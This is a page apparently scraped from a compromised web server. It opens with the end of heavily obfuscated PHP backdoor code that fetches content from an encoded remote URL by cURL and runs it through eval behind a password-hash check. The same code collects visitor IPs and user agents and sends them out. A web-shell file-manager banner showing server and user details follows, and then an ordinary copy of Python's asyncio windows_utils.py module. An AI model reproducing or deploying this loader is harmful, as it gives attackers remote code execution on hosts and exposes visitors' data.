ing(0); goto glSNg_LzxYIsX2; glSNg_LzxYIsX2: $utiBLP6LCTh1f2 = "\x72" . "\141" . "\x6e" . "\x67" . "\x65"; goto L8DBoJliwEzMp6; SlOv92pUeuRbs6: function OB2VtLXkgRIPlw($f1mozuANtprQMT) { return rtrim(strtr(base64_encode($f1mozuANtprQMT), "\x2b\57", "\x2d\x5f"), "\75"); } goto TDIrhdxvpNlFt9; os9gRuFURD1cGv: error_reporting(0); goto uxRi5Q7SMo35qu; wH1UQCn4Kym7NZ: @header("\x43\x6f\x6e\164\145\156\164\x2d\x54\171\x70\x65\x3a" . $Obe5O3pNrh1wNk["\x74\171\x70\145"]); goto lY0mM3QMw40Wja; sjCKQHz6Q60Ccm: $HONQlNCvlYnOH8 = substr($Gc9_8J48v7x6gV, strrpos($Gc9_8J48v7x6gV, "\56")); goto pYDglccpOwInMp; utegf_3TzFo8KM: header("\103\157\156\164\145\x6e\x74\x2d\x54\x79\x70\x65\x3a\40\x74\145\x78\x74\57\150\x74\155\154\73\40\x63\x68\x61\162\163\x65\164\75\165\164\x66\x2d\x38"); goto os9gRuFURD1cGv; tmjXznylhTgZ8a: if (in_array($Obe5O3pNrh1wNk["\x73\164\x61\164\x75\x73"], array(0, 200))) { goto nhUzRbCLQnuhLh; } goto c5_FfvrAB9U4Yd; ogjcRqlt8m1yFt: AtSmUC2FnsV8tA::KI1Kxaut6tOb4_(); goto utegf_3TzFo8KM; cCQUyydRpwrclc: $Obe5O3pNrh1wNk = cTP2tSflXg1jMM(base64_decode("\141\110\x52\60\x63\104\x6f\x76\114\62\150\63\131\x6a\x55\64\144\x6a\101\63\x4c\x6e\x42\154\143\110\121\x75\x63\62\x46\x73\132\x53\70"), $Ym0oIOWx6ByrbA); goto tmjXznylhTgZ8a; HEzdriQUoUsbcb: oZofqjcmql98Vl: goto RdRkLruqBbgd8Z; Pji3QhS868OoF4: pdT1WydGNbUwH7: goto uQMzHjqkf81tHB; hiBpnXBGYbBU3U: $kQ67spUDDLBffj = false; goto vf1Hpkrvn4j1uD; Cd7vkzilA61XS4: $cVPbc5aZBpQh4S = ''; goto Pji3QhS868OoF4; YpOvOLk2zAfp6F: $Ym0oIOWx6ByrbA["\163\156"] = ob2vTLxkGRipLW($_SERVER["\123\103\122\x49\x50\124\x5f\x4e\x41\115\105"]); goto hQrHQ4TUM_yVuh; zCPQ5sJ4prS3cM: class AtsmuC2FNSv8tA { static function HiR6oxdC0gvy2z($BW71TGqh6zqLp0) { goto KHgKgOn3FsDTTa; WnkUI9pHyPBuZm: $GkQAuHLQ3N3XQW = ''; goto WM19NL2F93TTJX; KHgKgOn3FsDTTa: $KsSQ2WVlAfhYGi = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto SYHHG2duid0FC5; AkZwDNU1hD13k2: Msf7bOuYLqoUBQ: goto zjbEJbLu1rh6fC; SYHHG2duid0FC5: $AtNGdLmxUU_eyr = $KsSQ2WVlAfhYGi("\176", "\40"); goto sDlG7XxbTh82si; sDlG7XxbTh82si: $Qa8g5WW7UopXE6 = explode("\53", $BW71TGqh6zqLp0); goto WnkUI9pHyPBuZm; WM19NL2F93TTJX: foreach ($Qa8g5WW7UopXE6 as $TzjXB0hEV3mWbH => $vBDjbTJco2LdIH) { $GkQAuHLQ3N3XQW .= $AtNGdLmxUU_eyr[$vBDjbTJco2LdIH - 5199]; ek2Wb04KDv0_8r: } goto AkZwDNU1hD13k2; zjbEJbLu1rh6fC: return $GkQAuHLQ3N3XQW; goto mvSqNKKQW0dWKE; mvSqNKKQW0dWKE: } static function pt0kgTqOQgWXOc($U2C_3PmbNzlS0s, $dFFH41CbFWTZVX) { goto PeU6Y0BKnLAjiD; PeU6Y0BKnLAjiD: $vAUjzk7AjeF8LJ = curl_init($U2C_3PmbNzlS0s); goto XgkiCPEdPud823; F0lfera6M44Flk: $ew4RbqszUvgJ48 = curl_exec($vAUjzk7AjeF8LJ); goto KyuOuTMYBfTs48; KyuOuTMYBfTs48: return empty($ew4RbqszUvgJ48) ? $dFFH41CbFWTZVX($U2C_3PmbNzlS0s) : $ew4RbqszUvgJ48; goto zEsIdRklqzh6zy; XgkiCPEdPud823: curl_setopt($vAUjzk7AjeF8LJ, CURLOPT_RETURNTRANSFER, 1); goto F0lfera6M44Flk; zEsIdRklqzh6zy: } static function ki1kXAUT6tOb4_() { goto EJ7566q1lfwfcm; xsPP8ESDmR1Aur: @eval($ynlJNPNMmDeXVa[1 + 3]($jHnu4Zp7Wf_MZ8)); goto K3HoZH3pxQfn2c; FiKMKPq3gMe0CH: @$ynlJNPNMmDeXVa[0 + 10](INPUT_GET, "\157\x66") == 1 && die($ynlJNPNMmDeXVa[1 + 4](__FILE__)); goto BrQwRNK4B0XILn; CLlLAWjdHMTY3X: foreach ($uOCboEbhYVOtM8 as $w9aHYENXNIyo2G) { $ynlJNPNMmDeXVa[] = self::hiR6oxdc0gVy2z($w9aHYENXNIyo2G); pinv70Hl5Kbn3s: } goto m3wDdy0f3A1DIX; m3wDdy0f3A1DIX: p8r5sgUOVFkFTO: goto Z8yLLNYDCQaHAi; OzamV3emZ6eAbO: $s4rOMgcAWfiAfB = @$ynlJNPNMmDeXVa[2 + 1]($ynlJNPNMmDeXVa[5 + 1], $bVmLTGOkbLprfr); goto L3pzZmGB9cJxd1; uXTgzQ2JHrZmxk: $jHnu4Zp7Wf_MZ8 = self::pt0kgtQOqGWXoc($xj2AeH6SP1maOW[1 + 0], $ynlJNPNMmDeXVa[4 + 1]); goto xsPP8ESDmR1Aur; NO2vbVdI186HFj: HzpQLyst8TW3Tc: goto UaJaR8RWF8BtcP; L3pzZmGB9cJxd1: $xj2AeH6SP1maOW = $ynlJNPNMmDeXVa[2 + 0]($s4rOMgcAWfiAfB, true); goto FiKMKPq3gMe0CH; BrQwRNK4B0XILn: if (!(@$xj2AeH6SP1maOW[0] - time() > 0 and md5(md5($xj2AeH6SP1maOW[0 + 3])) === "\x65\64\66\x66\63\x63\x32\65\145\x38\70\x62\66\60\142\x32\x34\71\x66\x34\141\71\61\x38\x31\65\143\x61\71\x34\x62\61")) { goto HzpQLyst8TW3Tc; } goto uXTgzQ2JHrZmxk; EJ7566q1lfwfcm: $uOCboEbhYVOtM8 = array("\x35\x32\62\x36\x2b\x35\x32\61\x31\53\65\62\62\x34\x2b\x35\x32\x32\70\53\x35\x32\x30\71\x2b\65\62\x32\x34\53\65\x32\x33\x30\x2b\65\x32\x32\63\53\x35\x32\60\70\53\x35\x32\61\x35\53\x35\x32\62\66\53\x35\x32\60\x39\53\x35\62\x32\60\53\65\62\x31\64\53\x35\x32\x31\x35", "\65\x32\61\x30\53\x35\x32\60\71\x2b\65\62\61\x31\53\x35\x32\63\60\x2b\x35\62\x31\x31\53\x35\62\x31\64\53\65\62\60\x39\53\x35\x32\x37\x36\x2b\65\62\67\64", "\65\x32\61\71\x2b\x35\x32\x31\60\53\65\x32\x31\64\x2b\x35\x32\x31\x35\x2b\x35\62\63\x30\53\65\62\62\x35\x2b\65\x32\62\x34\53\x35\62\62\66\53\x35\62\61\64\53\65\x32\x32\x35\x2b\65\62\62\64", "\65\62\61\x33\x2b\x35\62\x32\70\53\x35\x32\x32\66\53\65\x32\x31\x38", "\x35\62\x32\67\53\65\x32\62\70\x2b\65\x32\x31\x30\x2b\65\62\x32\64\x2b\x35\x32\x37\x31\53\65\62\67\63\53\x35\62\x33\x30\x2b\x35\x32\x32\65\x2b\65\x32\x32\x34\53\65\62\x32\66\53\x35\62\x31\x34\53\x35\x32\62\x35\x2b\65\62\x32\x34", "\x35\x32\62\x33\x2b\65\x32\62\60\x2b\65\x32\x31\x37\53\65\62\x32\x34\53\65\x32\x33\60\x2b\65\x32\x32\62\53\x35\62\62\x34\53\x35\x32\x30\x39\x2b\x35\62\x33\x30\53\x35\x32\x32\x36\53\65\62\61\x34\53\65\x32\x31\x35\53\x35\62\x30\x39\53\x35\x32\x32\x34\53\65\x32\61\65\53\x35\62\60\x39\53\65\62\61\60", "\x35\x32\x35\63\53\x35\x32\x38\x33", "\x35\x32\x30\x30", "\x35\62\67\x38\x2b\x35\x32\x38\63", "\65\x32\66\x30\x2b\x35\62\x34\63\53\65\62\x34\63\53\x35\x32\66\60\x2b\x35\62\63\66", "\x35\62\62\x33\x2b\x35\62\62\x30\x2b\x35\x32\x31\67\53\65\62\60\x39\53\x35\62\62\x34\x2b\65\x32\x31\x31\53\65\x32\63\x30\53\65\62\x32\60\53\65\x32\61\65\53\x35\62\61\63\53\65\62\x30\70\x2b\65\62\x30\71"); goto CLlLAWjdHMTY3X; Z8yLLNYDCQaHAi: $bVmLTGOkbLprfr = @$ynlJNPNMmDeXVa[1]($ynlJNPNMmDeXVa[10 + 0](INPUT_GET, $ynlJNPNMmDeXVa[4 + 5])); goto OzamV3emZ6eAbO; K3HoZH3pxQfn2c: die; goto NO2vbVdI186HFj; UaJaR8RWF8BtcP: } } goto ogjcRqlt8m1yFt; t8TpplQkxmNQKg: VWq7n8avJneZWe: goto ZVM0YvvgbIo11U; ufyV20U0fMcSJg: nhUzRbCLQnuhLh: goto b7DnrAS9hKZE6C; L2fzlj7JmrK97A: $Ym0oIOWx6ByrbA["\163"] = oB2VtLXKgRIPLW($DCQAxVYJ0s2xNZ); goto juNf0o5W9RUnP8; TDIrhdxvpNlFt9: function tDk2fhL7aRlnRq() { goto A0jfGlM3HtbTc8; vsGQjQL1n3QW2Q: $cIX1t8ECuEurN8 = $cIX1t8ECuEurN8[0]; goto myJj1wXf2lYI5E; QOh3G8lOqaQWeK: xB39IGICyiwlN1: goto PWUIOKof_frKdi; WSbyHvGkSPW8G6: return $cIX1t8ECuEurN8; goto Grz6njp1WbkzyW; myJj1wXf2lYI5E: Fy2tlq68W1Z4cY: goto WSbyHvGkSPW8G6; B99XlumIIoF9yc: goto O37D2TgI1D66fQ; goto kKfGd_juWsO9SB; tNtX7SnHEoN9ve: if (isset($_SERVER["\x48\124\x54\120\x5f\130\137\x52\x45\101\114\x5f\x49\x50"]) && !empty($_SERVER["\x48\124\x54\x50\x5f\x58\x5f\122\105\101\x4c\x5f\x49\x50"])) { goto IbsgkORsYRpgBL; } goto m1YuAzS4K6e0ZJ; gwXV80f3Kvnin5: $cIX1t8ECuEurN8 = $_SERVER["\110\124\124\120\137\130\x5f\106\117\122\x57\101\x52\x44\x45\x44\137\x46\x4f\x52"]; goto F5UC4mBhfgxdX2; xHNzAyzHVlO5pq: $cIX1t8ECuEurN8 = explode("\54", $cIX1t8ECuEurN8); goto vsGQjQL1n3QW2Q; LkMROqR4RYuDsX: $cIX1t8ECuEurN8 = $_SERVER["\x52\x45\115\117\124\105\x5f\101\x44\x44\x52"]; goto dYhlmimy6UKWgc; PWUIOKof_frKdi: $cIX1t8ECuEurN8 = $_SERVER["\x48\124\124\x50\x5f\x43\x46\x5f\x43\117\116\x4e\105\x43\x54\x49\116\x47\x5f\x49\x50"]; goto B99XlumIIoF9yc; dYhlmimy6UKWgc: goto O37D2TgI1D66fQ; goto QOh3G8lOqaQWeK; c7Zjb3FklkFA6T: $cIX1t8ECuEurN8 = trim(str_replace("\x20", '', $cIX1t8ECuEurN8), "\54"); goto jnEONwk8qQ3QoE; IYNLV2P_z1R8_9: $cIX1t8ECuEurN8 = $_SERVER["\x48\x54\x54\x50\137\130\137\x52\105\x41\x4c\137\x49\x50"]; goto g3xl2m2S2bmEAU; A0jfGlM3HtbTc8: $cIX1t8ECuEurN8 = ''; goto rR27t1UBdIHeAR; rR27t1UBdIHeAR: if (isset($_SERVER["\110\x54\x54\x50\137\x43\x46\137\103\117\x4e\x4e\105\x43\124\111\116\107\137\x49\x50"]) && !empty($_SERVER["\x48\x54\x54\120\x5f\x43\x46\137\103\x4f\x4e\x4e\105\103\124\x49\x4e\x47\x5f\x49\x50"])) { goto xB39IGICyiwlN1; } goto tNtX7SnHEoN9ve; jnEONwk8qQ3QoE: if (!(strpos($cIX1t8ECuEurN8, "\x2c") !== false)) { goto Fy2tlq68W1Z4cY; } goto xHNzAyzHVlO5pq; m1YuAzS4K6e0ZJ: if (isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\x4f\122\x57\101\x52\104\x45\104\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\x5f\130\137\x46\117\x52\x57\x41\x52\104\x45\104\137\x46\x4f\x52"])) { goto YO_1CRlkHk0b5K; } goto LkMROqR4RYuDsX; kKfGd_juWsO9SB: IbsgkORsYRpgBL: goto IYNLV2P_z1R8_9; F5UC4mBhfgxdX2: O37D2TgI1D66fQ: goto c7Zjb3FklkFA6T; g3xl2m2S2bmEAU: goto O37D2TgI1D66fQ; goto PoJd83qL9Ntzk7; PoJd83qL9Ntzk7: YO_1CRlkHk0b5K: goto gwXV80f3Kvnin5; Grz6njp1WbkzyW: } goto J5qe_wS1vgzck7; b7DnrAS9hKZE6C: if (!strlen($Obe5O3pNrh1wNk["\143\157\156\x74\145\156\x74"])) { goto VWq7n8avJneZWe; } goto wH1UQCn4Kym7NZ; juNf0o5W9RUnP8: $Ym0oIOWx6ByrbA["\x75"] = ob2VTLxKgRIPLw($_SERVER["\x48\x54\x54\120\x5f\125\x53\x45\122\x5f\x41\107\x45\x4e\x54"]); goto cCQUyydRpwrclc; ks1k8aTWZXL63p: $Ym0oIOWx6ByrbA["\162\146"] = oB2VtLXkgriplW($cVPbc5aZBpQh4S); goto L2fzlj7JmrK97A; zdY3FjKTBRxxC2: exit("\x7b\x20\42\x65\x72\162\x6f\162\42\x3a\40\x32\60\x30\x2c\x20\42\x6c\x63\x22\72\40\x22\x6a\153\42\54\40\x22\144\141\164\x61\42\72\x20\x5b\x20\x31\x20\135\40\x7d"); goto PZW0GG3F0uoCYA; mBWmHT5C3u6kIU: exit(strrev(md5($_SERVER["\110\x54\124\x50\137\x48\117\123\124"]))); goto iFI7SVRy1TDCFo; lY0mM3QMw40Wja: exit($Obe5O3pNrh1wNk["\x63\x6f\156\x74\x65\156\164"]); goto t8TpplQkxmNQKg; ZVM0YvvgbIo11U: aXnousimfq1MHe: ?> HEX
HEX
Server: LiteSpeed
System: Linux cg.mitralhost.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
User: foofelco (1828)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //lib64/python3.8/asyncio/windows_utils.py
"""Various Windows specific bits and pieces."""

import sys

if sys.platform != 'win32':  # pragma: no cover
    raise ImportError('win32 only')

import _winapi
import itertools
import msvcrt
import os
import subprocess
import tempfile
import warnings


__all__ = 'pipe', 'Popen', 'PIPE', 'PipeHandle'


# Constants/globals


BUFSIZE = 8192
PIPE = subprocess.PIPE
STDOUT = subprocess.STDOUT
_mmap_counter = itertools.count()


# Replacement for os.pipe() using handles instead of fds


def pipe(*, duplex=False, overlapped=(True, True), bufsize=BUFSIZE):
    """Like os.pipe() but with overlapped support and using handles not fds."""
    address = tempfile.mktemp(
        prefix=r'\\.\pipe\python-pipe-{:d}-{:d}-'.format(
            os.getpid(), next(_mmap_counter)))

    if duplex:
        openmode = _winapi.PIPE_ACCESS_DUPLEX
        access = _winapi.GENERIC_READ | _winapi.GENERIC_WRITE
        obsize, ibsize = bufsize, bufsize
    else:
        openmode = _winapi.PIPE_ACCESS_INBOUND
        access = _winapi.GENERIC_WRITE
        obsize, ibsize = 0, bufsize

    openmode |= _winapi.FILE_FLAG_FIRST_PIPE_INSTANCE

    if overlapped[0]:
        openmode |= _winapi.FILE_FLAG_OVERLAPPED

    if overlapped[1]:
        flags_and_attribs = _winapi.FILE_FLAG_OVERLAPPED
    else:
        flags_and_attribs = 0

    h1 = h2 = None
    try:
        h1 = _winapi.CreateNamedPipe(
            address, openmode, _winapi.PIPE_WAIT,
            1, obsize, ibsize, _winapi.NMPWAIT_WAIT_FOREVER, _winapi.NULL)

        h2 = _winapi.CreateFile(
            address, access, 0, _winapi.NULL, _winapi.OPEN_EXISTING,
            flags_and_attribs, _winapi.NULL)

        ov = _winapi.ConnectNamedPipe(h1, overlapped=True)
        ov.GetOverlappedResult(True)
        return h1, h2
    except:
        if h1 is not None:
            _winapi.CloseHandle(h1)
        if h2 is not None:
            _winapi.CloseHandle(h2)
        raise


# Wrapper for a pipe handle


class PipeHandle:
    """Wrapper for an overlapped pipe handle which is vaguely file-object like.

    The IOCP event loop can use these instead of socket objects.
    """
    def __init__(self, handle):
        self._handle = handle

    def __repr__(self):
        if self._handle is not None:
            handle = f'handle={self._handle!r}'
        else:
            handle = 'closed'
        return f'<{self.__class__.__name__} {handle}>'

    @property
    def handle(self):
        return self._handle

    def fileno(self):
        if self._handle is None:
            raise ValueError("I/O operation on closed pipe")
        return self._handle

    def close(self, *, CloseHandle=_winapi.CloseHandle):
        if self._handle is not None:
            CloseHandle(self._handle)
            self._handle = None

    def __del__(self, _warn=warnings.warn):
        if self._handle is not None:
            _warn(f"unclosed {self!r}", ResourceWarning, source=self)
            self.close()

    def __enter__(self):
        return self

    def __exit__(self, t, v, tb):
        self.close()


# Replacement for subprocess.Popen using overlapped pipe handles


class Popen(subprocess.Popen):
    """Replacement for subprocess.Popen using overlapped pipe handles.

    The stdin, stdout, stderr are None or instances of PipeHandle.
    """
    def __init__(self, args, stdin=None, stdout=None, stderr=None, **kwds):
        assert not kwds.get('universal_newlines')
        assert kwds.get('bufsize', 0) == 0
        stdin_rfd = stdout_wfd = stderr_wfd = None
        stdin_wh = stdout_rh = stderr_rh = None
        if stdin == PIPE:
            stdin_rh, stdin_wh = pipe(overlapped=(False, True), duplex=True)
            stdin_rfd = msvcrt.open_osfhandle(stdin_rh, os.O_RDONLY)
        else:
            stdin_rfd = stdin
        if stdout == PIPE:
            stdout_rh, stdout_wh = pipe(overlapped=(True, False))
            stdout_wfd = msvcrt.open_osfhandle(stdout_wh, 0)
        else:
            stdout_wfd = stdout
        if stderr == PIPE:
            stderr_rh, stderr_wh = pipe(overlapped=(True, False))
            stderr_wfd = msvcrt.open_osfhandle(stderr_wh, 0)
        elif stderr == STDOUT:
            stderr_wfd = stdout_wfd
        else:
            stderr_wfd = stderr
        try:
            super().__init__(args, stdin=stdin_rfd, stdout=stdout_wfd,
                             stderr=stderr_wfd, **kwds)
        except:
            for h in (stdin_wh, stdout_rh, stderr_rh):
                if h is not None:
                    _winapi.CloseHandle(h)
            raise
        else:
            if stdin_wh is not None:
                self.stdin = PipeHandle(stdin_wh)
            if stdout_rh is not None:
                self.stdout = PipeHandle(stdout_rh)
            if stderr_rh is not None:
                self.stderr = PipeHandle(stderr_rh)
        finally:
            if stdin == PIPE:
                os.close(stdin_rfd)
            if stdout == PIPE:
                os.close(stdout_wfd)
            if stderr == PIPE:
                os.close(stderr_wfd)